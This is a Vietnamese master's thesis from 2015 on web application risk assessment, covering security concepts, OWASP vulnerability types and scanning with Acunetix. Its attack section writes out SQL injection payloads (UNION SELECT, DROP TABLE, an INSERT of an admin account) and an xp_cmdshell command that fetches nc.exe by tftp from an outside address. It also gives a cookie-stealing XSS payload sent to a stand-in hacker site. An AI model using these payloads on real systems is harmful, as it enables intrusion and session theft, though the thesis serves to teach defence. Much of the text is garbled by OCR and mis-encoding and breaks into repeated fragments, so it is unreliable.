Nghiên cứu giải pháp đánh giá rủi ro cho ứng dụng web

Bộ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC sư PHẠM HẢ NỘI TRẦN THỊ HÀ 1.1 NGHIÊN CỨU GIẢI PHÁP ĐÁNH GIÁ RỦI RO CHO ỨNG DỤNG WEB ■ HÀ NỘI, 2015 LUẬN VĂN THẠC sĩ MÁY TÍNH TRẦN THI HÀ Bộ GIÁO DỤC VÀ ĐÀO TẠO 1.2 NGHIÊN CỨU GIẢI PHÁP ĐÁNH GIÁ TRƯỜNG ĐẠI HỌC sư RỦI PHẠMRO HÀ CHO NỘI ỨNG DỤNG WEB Chuyên ngành: Khoa học máy tính Mã SỔ: 60 48 01 01 LUẬN VĂN THẠC sĩ MÁY TÍNH Người hướng dẫn khoa học: TS HỒ VĂN HƯƠNG HÀ NỘI, 2015 LỜI CẢM ƠN Trong thời gian làm luận văn em gặp nhiều khó khăn giúp đỡ tạo điều kiện nhiều từ thầy cô giáo, bạn bè gia đình, em hoàn thành xong luận văn Trước tiên em xin bày tỏ lòng biết ơn tới thầy cô giáo công tác khoa Sau Đại Học - Trường Đại học sư phạm Hà Nội 2, người giảng dạy cung cấp kiến thức khoa học quý báu ừong suốt năm học qua để em có tảng kiến thức thực luận văn Đặc biệt em xin gứi lời cảm ơn sâu sắc tới TS Hồ Văn Hương, người tận tình bảo, giúp đỡ tạo điều kiện để em hoàn thành luận văn Em xin gửi lời cảm ơn tới tập thể lớp Khoa Học Máy Tính - KI7, trường Đại học sư phạm Hà Nội nhiệt tình giúp đỡ chia sẻ kinh nghiệm quý báu cho em Cuối em xin gửi lời cảm ơn gia đình, bạn bè tạo điều kiện, giúp đỡ đóng góp nhiều ý kiến quý báu cho em sống, công việc học tập nói chung trình em thực luận văn nói riêng Mặc dù có nhiều cố gắng hạn hẹp kiến thức, kinh nghiệm thời gian tìm hiểu, nghiên cứu thực nên luận văn không tránh khỏi thiếu sót Em mong nhận góp ý thầy cô, bạn bè để em hoàn thiện tốt luận văn Em xin chân thành cảm ơn! Xuân Hòa, tháng 10 năm 2015 Học viên Trần Thị Hà LỜI CAM ĐOAN Tôi cam đoan công trình nghiên cứu riêng Các số liệu, kết nêu luận văn trung thực chưa công bố công trình khác Tác giả luận văn Trần Thị Hà MỤC LỤC DANH MỤC CÁC THUẬT NGỮ, CÁC CHỮ VIẾT TẮT • Ký hiệu ASP « Tiếng Anh Active Server Pages Tiếng Việt Môi trường cho ứng dụng chạy Server CAPTC HA DOM Completely Automated Public Phép thử Turing hoàn toàn tự động để Turing test to tell Computers and phân biệt máy tính người Humans Apart Document Object Model Hệ giao tiêp lập trình ứng dụng cho HTML XML ESAPI Anhanced Small Arms Protective Tăng cường chắn nhỏ bảo vệ chèn Insert IDE IDS IIS IPSec Integrated Development Environment Intrusion Detection System Internet Information Services Internet Protocol Security NTFS New Technology File System OSI Open Systems Interconnection Môi trường phát triển tích hợp Một hệ thông phát xâm nhập Dịch vụ cung câp thông tin Internet Giao thức bảo mật Internet Hệ thống tập tin công nghệ Mô hình tham chiêu kêt nôi hệ thống mở OWASP Open Web Application Security Dự án an ninh mở ứng dụng Web Project DANH MỤC BẢNG DANH MỤC HÌNH VẼ MỞ ĐẦU Lý chọn đề tài Với xu phát triển nhanh chóng ngành thương mại điện tử nay, nhiều doanh nghiệp sử dụng ứng dụng web để cung cấp dịch vụ thương mại trực tuyến, kết nối khách hàng, đối tác nhân viên cách hiệu Đa số ứng dụng web bị lỗi mà phương pháp phòng chống mạng thông thường không bảo vệ Lỗi lỗ hổng ừong mã nguồn ứng dụng web gây hậu nghiêm trọng lộ liệu nhạy cảm, gây tổn thương đến toàn hệ thống hạ tầng công nghệ thông tin Sự cố bảo mật ừong ứng dụng web ảnh hưởng đến danh tiếng công ty, mát mặt tài chính, ảnh hưởng đến uy tín với khách hàng vấn đề liên quan đến pháp lý Khi tổ chức triển khai trực tuyến ứng dụng web, điều đồng nghĩa với việc tổ chức cho phép có quyền truy cập vào ứng dụng qua giao thức HTTP Những truy cập có khả vượt qua tường lửa, hệ thống lọc tầng mạng, lớp bảo vệ hệ thống hệ thống phát xâm nhập Vì mã công nằm gói giao thức HTTP hợp lệ Ngay trang Web có mức độ bảo mật cao sử dụng SSL cho phép tất liệu qua mà không kiểm tra tính hợp lệ liệu Điều có nghĩa bảo mật ứng dụng web yếu tố quan trọng nằm hệ thống phòng thủ ngoại vi, với tường lửa thiết bị bảo mật khác Vì vậy, việc “Nghiên cứu giải pháp đánh giá rủi ro cho ứng dụng Web ” đề tài cấp thiết có ý nghĩa thực tiễn Mục đích nghiên cứu Nghiên cứu lỗ hổng bảo mật phương pháp đánh giá mức độ rủi ro cho ứng dụng Web nói chung website nói riêng Kết nghiên cứu luận văn góp phần giúp cho nhà quản lý (hay chủ sở hữu) website có nhìn đầy đủ trạng mức độ an toàn website họ thông qua kết đánh giá tồn lỗ hổng, nguy công tiềm ẩn Nhiệm vụ nghiên cứu - Nghiên cứu tổng quan đánh giá rủi ro cho ứng dụng Web - Nghiên cứu giải pháp đánh giá mô hình đánh giá rủi ro cho ứng dụng Web - Nghiên cứu số công cụ đánh giá lỗ hổng bảo mật website - Tiến hành thử nghiệm đánh giá rủi ro cho ứng dụng Web theo phương pháp hộp đen Phương pháp nghiên cứu - Phương pháp nghiên cứu lý luận: Đọc tài liệu, phân tích, hệ thống hoá, khái quát hoá tài liệu để tổng quan sở lý luận đề tài - Phương pháp mô thực nghiệm: sử dụng công cụ Acunetix để áp dụng triển khai đánh giá cổng thông tin điện tử Trường Đại học Sư Phạm Hà Nội cống thông tin điển tử Tinh Vĩnh Phúc Bố cục luận văn gồm chương: Chương 1: Tổng quan đánh giá rủi ro cho ứng dụng web Trình bày khái niệm an toàn thông tin, đánh giá rủi ro, tổng quan ứng dụng web Đồng thời nghiên cứu mối đe dọa, lỗ hổng bảo mật phổ biến ứng dụng web biện pháp đảm bảo an toàn ứng dụng web Chương 2: Phương pháp đánh giá mô hình đánh giá rủi ro cho ứng dụng web Giới thiệu phân tích lỗ hổng bảo mật thành phần ứng dụng web, phân tích đánh giá phương pháp kiểm tra lỗ hổng, lựa chọn phương pháp kiểm tra tối ưu Đồng thời phân tích đánh giá số công cụ kiểm tra lỗ hổng chọn công cụ để thử nghiệm đánh giá chương Chương 3: Thử nghiệm đánh giá rủi ro cho ứng dụng web theo phương pháp hộp đen Sử dụng công cụ phần mềm kiểm tra lỗ hổng Acunetix xây dựng kịch bản, tiến hành thử nghiệm đánh giá rủi ro cho ứng dụng web đơn vị cụ thể đề xuất giải pháp đảm bảo an toàn cho ứng dụng web CHƯƠNG 1: TỔNG QUAN VỀ ĐÁNH GIÁ RỦI RO CHO ỨNG DỤNG WEB 1.1 1.1.1 Một số khái niệm an toàn thông tin đánh giá rủi ro Khái niệm an toàn thông tin An toàn thông tin: Là bảo vệ thông tin chống lại rủi ro, mát, phá hủy hay sử dụng không hợp lệ Đảm bảo an toàn thông tin: Là đảm bảo tính chất bí mật, toàn vẹn, xác, sẵn sàng phục vụ thông tin lưu trữ, xử lý truyền tải mạng [3] Khái niệm bao hàm việc đảm bảo an toàn kỹ thuật cho hoạt động sở hạ tầng thông tin, phần cứng phần mềm hoạt động theo tiêu chuẩn kỹ thuật nhằm ngăn ngừa hành vi trái phép gây hại cho cộng đồng, phạm pháp hay khủng bố An toàn phần cứng bảo đảm hoạt động cho mạng thiết bị An toàn phần mềm bảo đảm cho phần mềm, sở liệu, ứng dụng Những đặc tính thông tin cần đảm bảo: Các đặc điểm bao trùm toàn phạm trù an toàn hệ thống thông tin, với tổ chức, không lệ thuộc vào việc chia sẻ thông tin [3] Tính bảo mật (Confidentialy): đảm bảo thông tin tiếp cận người cấp quyền tương ứng Tính toàn vẹn (Integrity): bảo vệ xác, hoàn chỉnh thông tin thông tin thay đổi người cấp quyền Tính sẵn sàng (availability): người quyền sử dụng truy xuất thông tin họ cần Tính xác thực: Trong hoạt động tính toán, kinh doanh qua mạng an toàn thông tin, tính xác thực vô cần thiết để đảm bảo liệu, giao dịch, kết nối tài liệu thật Tính chối cãi: có nghĩa bên giao dịch phủ nhận việc họ thực giao dịch với bên khác 1.1.2 Khái niệm đánh giá rủi ro Thông tin: giống tài sản quan trọng khác, có giá trị cho tổ chức cần phải bảo vệ phù hợp Thông tin in hay viết giấy (tài liệu), tệp lưu trữ điện tử số, thông tin chuyển qua mạng thư điện tử, thông tin đàm thoại Mối đe doạ (nguy cơ): nguyên nhân tiềm ẩn gây cố không mong muốn, kết gây tổn hại cho hệ thống tổ chức [4], Ví dụ, loại mã độc, kẻ công (attacker), kỹ thuật khai thác, thảm hoạ thiên nhiên Lỗ hổng bảo mật: nhược điểm (hay điểm yếu) tài sản nhóm tài sản có khả bị khai thác hay nhiều mối đe dọa [4] Ví dụ, lỗ hổng thiếu chế kiểm soát liệu đầu vào từ phía người dùng website, lỗ hổng đặt mật yếu Rủi ro: kết hợp hậu xuất kiện không mong muốn khả (xác suất) xảy kiện hay nói cách khác khả tài sản thông tin (ví dụ ứng dụng web) bị tác động tác nhân đe doạ [6] Những đặc trưng cứa rủi ro: Rủi ro bao gồm yếu tố: xác suất xảy (Probability), khả ảnh hưởng đến đối tượng (Impacts on objectives) thời lượng ảnh hưởng (Duration) Đánh giá rủi ro: việc xác định giá trị tài sản thông tin, nhận biết đe dọa xảy lỗ hổng bảo mật tồn tại, nhận biết biện pháp xử lý có hiệu biện pháp đó, xác định hậu tiềm ẩn cuối phân loại • «ai('ii_90L»r_i »ti« • iVi'H'Hii'.i in Ilf I'lji'i I -in It«« imfMtd ftt rtitn MJkMii nlttlMy ^•n *da(*«r r» arv «.«•cut* inooaiY Q*>» d*t*b*fr* •nai'or «MDO«* ««ntllr#* rrtym*icn or II*« Defending on 8^# b k - « r J a«c«o*M n* vjhtrkolt *vn»rn TV * rn*y OQpiprc-nnl*« tr* to li*» ÖÖL I>\|*cttar vulnarabiln«« l**-J In varying II n«)TOt pOMibit »r>9i oriy'Ti*npji*f» «H«an» qutrtfi, fc-Jl ID VNIOH In Mitoitr*^ Oftla.uft* rr»a Tương tự trên, tin tặc lợi dụng sơ hở câu truy vấn SQL để nhập vào trường tên tác giả chuỗi giá trị: ' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*) Lúc này, câu truy vấn đầu không thành công, chương trình thực thêm lệnh sau từ khóa UNION Giả sử đoạn mã nhập vào là: ' DROP TABLE T_AUTHORS Câu truy vấn thực việc xóa bảng Tấn công sử dụng câu lệnh SELECT kết hợp với từ khóa UNION: Từ khoá UNION nhằm kết hợp liệu hai câu lệnh SELECT, với điều kiện, liệu câu lệnh thứ phải kiểu, cấu trúc với câu lệnh thứ hai Nếu liệu câu lệnh thứ có kiểu số, câu lệnh thứ hai kiểu chuỗi chắn sinh lỗi đưa thông báo Điều tai hại hệ thống đưa thông báo lỗi kèm thông tin quan trọng, tên bảng, tên trường, đến ghi cụ thể, chẳng hạn tài khoản người quản trị Ta xem ví dụ sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP TABLE_NAME FORM INFORMATIONJSCHEA.TABLE WHERE TABLE_NAME NOT IN (‘table’)Thông báo lỗi có dạng: Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value ‘admin login’ to a column of data type int /index.asp, line Ta thấy rằng, trước từ khoá UNION câu lệnh SELECT có liệu kiểu số (id=10), giá trị câu lệnh SELECT sau từ khoá UNION có dạng chuỗi (nvarchar) nên cần phải chuyển sang kiểu số (int) Đây nguyên nhân sinh lỗi ưên 1.3 Tấn công sử dụng câu lệnh INSERT Thông thường ứng dụng web cho phép người dùng đăng kí tài khoản để tham gia Chức thiếu sau đăng kí thành công, người dùng xem hiệu chỉnh thông tin Vì vậy, SQL injection dùng hệ thống không kiểm tea tính hợp lệ thông tin nhập vào Gỉa sử kẻ công tìm tên bảng “admin_login”, bảng có chứa trường sau: logỉn_ỉd, logỉn_name, password, details Như vậy, kẻ công thêm ghi có thông tin sau: http://www.tintuc.vn/Article.asp?ID=0;INSERT INTO ‘admin login’ (‘loginid’, ’loginname ’password’, ’details ’) V ALUE (‘123 VattackerV 123456’,’none’) Ở kẻ công sử dụng câu lệnh UPDATE để cập nhật thông tin vào bảng “admin_login” chẳng hạn thay đổi mật người quản trị Tẩn công sử dụng stored-procedures Việc công stored-procedures gây tác hại lớn ứng dụng thực thi với quyền quản trị hệ thống 'sa' Kiểu công đặc biệt nguy hiểm, thực tế việc thao tác DOS hệ thống - Ví dụ thực lệnh ‘Ping’; exec master xp cmdshell 'ping 10.10.1.2'Tải tệp lên máy chủ (có thể chương trình mã độc): C:/> osql.exe -S 198.188.178.1 -U sa -P -Q “exec master xpcmdsell “tftp 203.192.16.12 GET nc.exe Kỹ thuật khai thác lẫ hổng Cross-Site Scripting 2.1 Kỹ thuật Reflected xss Kiểu công này, kẻ công tìm cách dụ người dùng nhấp chuột vào đường dẫn URL có chứa đoạn script độc hại, đồng nghĩa với việc họ vô tình gửi yêu cầu có kèm theo đoạn script đến máy chủ bị lỗi xss Vì hệ thống khả kiểm soát nên phản hồi lại yêu cầu có kèm theo đoạn script Kẻ công gửi đường dẫn URL độc hại qua email lừa đảo, đặt đường dẫn diễn đàn Chi tiết mô tả theo bước sau: Người dùng đăng nhập web giả sử gán session: Set-Cookie: sessld=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 Bằng cách đó, hacker gửi cho người dùng URL: http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.neƯ ”%2bdocument.cookie; Giả sử example.com website nạn nhân truy cập, hacker-site.net trang hacker tạo Nạn nhân truy cập đến URL Server phản hồi cho nạn nhân, kèm với liệu có request(đoạn javascript hacker) Trình duyệt nạn nhân nhận phản hồi thực thi đoạn javascript Đoạn javascript mà hacker tạo thực tế sau: var i=new Image; i.src=”http://hackersite.net/”+document.cookie; Dòng lệnh chất thực request đến site hacker với tham số cookie người dùng: GET /sessld=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1 Host: hackersite.net Từ phía site mình, hacker bắt nội dung request coi session người dùng bị chiếm Đen lúc này, hacker giả mạo với tư cách nạn nhân thực quyền website mà nạn nhân cố 2.2 Kỹ thuật Stored xss Với kỹ thuật này, attacker không gửi đường dẫn URL nêu phần Thông qua trang viết bình luận (comment) website diễn đàn, chúng viết “bình luận” đoạn script độc hại Nếu hệ thống thiếu chế kiểm soát liệu bước này, script độc hại lưu vào CSDL dạng comment blog, message forum visitor log Ví dụ minh họa cho Stored-XSS Ta có trang web mà người dùng để lại lời nhắn sau: this is an example of X5S vulnerability Send 21:35:04 Hello! 10:39:38 Hi, I am from tek.eten.vn Thay nhập vào lời nhắn bình thường, ta nhập vào đoạn mã sau: Xin alert(“XSS ”) chào ỉ Ket quả: Ở đây, đoạn mã alert(“XSS,5) chèn vào lời nhắn, thực thi hình Vì lời nhắn lưu trữ database nên người dùng truy cập vào trang web thực thi đoạn mã Thay đoạn mã vô hại trên, hacker thay đoạn mã nguy hiểm khác nhằm gây hại đến người dùng Như yậy người dùng vào trang bình luận Hệ thống hồi đáp lại phía người dùng, bao gồm đoạn script độc hại, âm thầm chạy máy Như nhận xét rằng, kiểu công Reflected xss công chủ động, Stored xss công thụ động Kỹ thuật khai thác lỗ hổng CSRF Các kĩ thuật CSRF đa dạng, lừa người dùng click vào link, gửi email chứa đoạn mã độc đến người dùng Ví dụ 1: Ví dụ 2: ciframe CIVt CMVE-B9 Arected items i'AJAX1'Ĩn'c3r+1 st php i'AJAX.,'in'Dca‘eg php i'jAJI A X.1' i n Toti tl o p h p ■'artists php j'cairt-php ■'gjss:!30ok p ~'p is:prccL CLS -php j'Mcd Re> j'M&d _R.S j'Mcd Re- - ''product pt"ip j'&aarch ph p ''Eacured.'n G'AUSer php Hình 3.10 Báo cáo tổng hợp • Chọn định dạng xuất báo cáo: PDF, HTML, text, word, BMP [...]... nm ờn trang Web bờn trong website Mt s trỡnh duyt web hin nay bao gm Internet Explorer, Mozilla Firefox, Safari, Google Chrome, opera Mỏy ch web (Web Server): l mỏy ch ci t cỏc chng trỡnh phc v cỏc ng dng web Web Server cú kh nng tip nhn yờu cu t cỏc trỡnh duyt web v gi phn hi n mỏy khỏch vi nhng trang web, thụng qua mụi trng mng Internet bng cỏc giao thc HTTP hoc cỏc giao thc khỏc Mt s Web Server thụng... Ti õy, mỏy ch phc v web s x lý kt ni v gi yờu cu n ng dng web Tựy theo yờu cu, ng dng web s truy vn n c s d liu v nhn kt qu v, sau ú s gi phn hi v mỏy ch phc v web Cui cựng, mỏy ch phc v web s gi d liu v trỡnh duyt di dng siờu vn bn v ngi 1 5 dựng cui s nhn thụng tin hin th trờn trỡnh duyt Hỡnh 1.5: Mụ hỡnh hot ng ca mt ng ng web Trỡnh duyt web (web browser): l cỏc ng dng phn mm cho phộp ngi dựng truy... khụng th thiu trong vic phỏt trin ng dng web l h qun tr c s d liu CSDL cho phộp lu tr v truy xut d liu mt cỏch linh hot Mt s c s d liu c s dng cho ng dng web ph bin hin nay nh Oracle, SQL Server, MySQL Xu hng phỏt trin ng dng web hin nay hng ti s thun tin trong chia s, hp tỏc v sỏng to gia cỏc ngi dựng, giao din trc quan, d s dng 1.2.2 Giao thc HTTP Giao thc HTTP (Hypertex Transfer Protocol): l giao... tớnh, vớ d nh Trung tõm VNCERT 1.5 Kt lun chong Chng 1, ó trỡnh by khỏi quỏt c cỏc khỏi nim v an ton thụng tin v ỏnh giỏ ri ro Thụng qua chng ny ta cng nm c mt cỏch tng quan v ng dng web ng thi, hiu c cỏc mi e da v cỏc loi l hng bo mt ca ng dng web, cỏc bin phỏp phũng chng tn cụng, bo m an ton ng dng web CHNG 2: GII PHP NH GI V Mễ HèNH NH GI RI RO CHO NG DNG WEB 2.1 Gii thiu chung Thng i kốm vi l hng... Server thụng dng hin nay gm: Product Vendor w eb Site Hosted Percent Apache Apache 179,720,332 60.31% IIS Microsoft 57,644,692 19.34% Nginx Igor Sysoev 22,806,060 7.65% GWS Google 15,161,530 5.09% Lighttpd Lighttpd 1,796,471 0.60% SunOne Sun Microsystems - - Hỡnh 1.6: Mt s Web Server thụng dng hin nay ng dng Web (Web Application): l ni m cỏc kch bn hay mó ngun to ra ng dng web c thc thi Mó ngun s c biờn... ri ro thớch hp trc mi loi nguy c 1.3.2 Cỏc loi l hng ph bin theo tiờu chun OWASP ng trờn quan im ca ngi ỏnh giỏ ri ro cng nh ngi qun tr an ton ng dng web thỡ vic hiu rừ l hng bo mt cú ý ngha vụ cựng quan trng OWASP (Open Web Application Security Project) l mt d ỏn m v bo mt ng dng web thỳc y c gng chung ca cng ng nhm giỳp cỏc cỏ nhõn, t chc, doanh nghip cú th phỏt trin, mua v bo trỡ cỏc ng dng web. .. cỹng bi õnh huụng theo Han nỷa, sờ gap nhiốu khử khõn trong quõ trùnh võn hnh v triờn khai cõc biờp phõp bõo vờ cho ỹng dung b Mụ hinh hai lõp: Khõc vụi mụ hinh 1 lõp, trong mụ hinh 2 lụp cõc mõy chỹ web, ỹng dung web duỗrc thiột lõp trờn cựng mot mõy chỹ, con mõy chỹ co so dỷ lieu duỗrc thiột lõp trờn mot mõy chỹ khõc Mụ hinh 2 lụp Web Server Web Application Data base Server Hinh 1.2: Mụ hinh hai... cng, loi b cỏc l hng, cỏch ly vi cỏc mi e da thỡ kh nng xut hin ri ro s tng lờn Nh vy, gia l hng bo mt, mi e da v ri ro l ba yu t cú mi quan h cht ch vi nhau (Hỡnh 2.1) Hỡnh 2.1: Mi quan h gia ri ro, mi e da v hng bo mt 2 0 Mt yu t khỏc cn phi c nhc n, ú l giỏ tr ca mt ng dng web cng cao (vớ d website ca ngõn hng) thỡ cng khin cho ri ro tng lờn Bn thõn nú thu hỳt nhng ngi dựng (khỏch hng hp phỏp), ng... khụng thng xuyờn cp nht bn vỏ s l mụi trng thun li cho tn cụng bng cỏc loi mó c nh virus, worm, Trojan Ngoi vic cp nht bn vỏ li cho HH, trờn mi mỏy ch (web server, app server, datebase server) cng cn c cp nht cỏc bn vỏ cho cỏc dch v v ng dng ci trờn ú e kim tra trng thỏi cp nht bn vỏ li trờn HH Windows, Microsoft cung cp mt cụng c min phớ l MBSA (Microsoft Baseline Security Analyzer) L hng do chy cỏc... ng dng web Nh ó gii thiu phn trờn, cú rt nhiu l hng thuc v ng dng Web, tng ng vi nú l cỏc kiu tn cụng khỏc nhau Phn ny s phõn tớch c th mt s l hng nguy him v ph bin m ng dng Web cú th mc phi hin nay Vi mi l hng ú thng s cú k thut khai thỏc i kốm Mt trong s k thut khai thỏc ph bin cú th k n ú l: k thut SQL Injection, xss, CSRF, File Inclusion Trong thc t, tờn gi cho mt k thut khai thỏc v tờn gi cho mt